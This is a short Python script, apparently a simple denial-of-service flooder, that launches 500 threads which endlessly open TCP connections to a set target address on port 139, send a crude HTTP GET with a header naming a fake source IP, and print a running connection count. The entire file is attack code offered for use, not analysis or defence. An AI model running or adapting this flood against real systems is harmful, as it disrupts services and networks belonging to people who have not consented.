import socket
import threading

# 182.21.20.32 - random IP
source_IP = '182.21.20.32'
target = '192.168.56.1'
port = 139

already_connected = 0


# main cycle 


def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: " + source_IP + "\r\n\r\n").encode('ascii'), (target, port))
        s.close()

        # printing out "connections"
        global already_connected
        already_connected += 1
        print(already_connected)


# threads
for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()
    

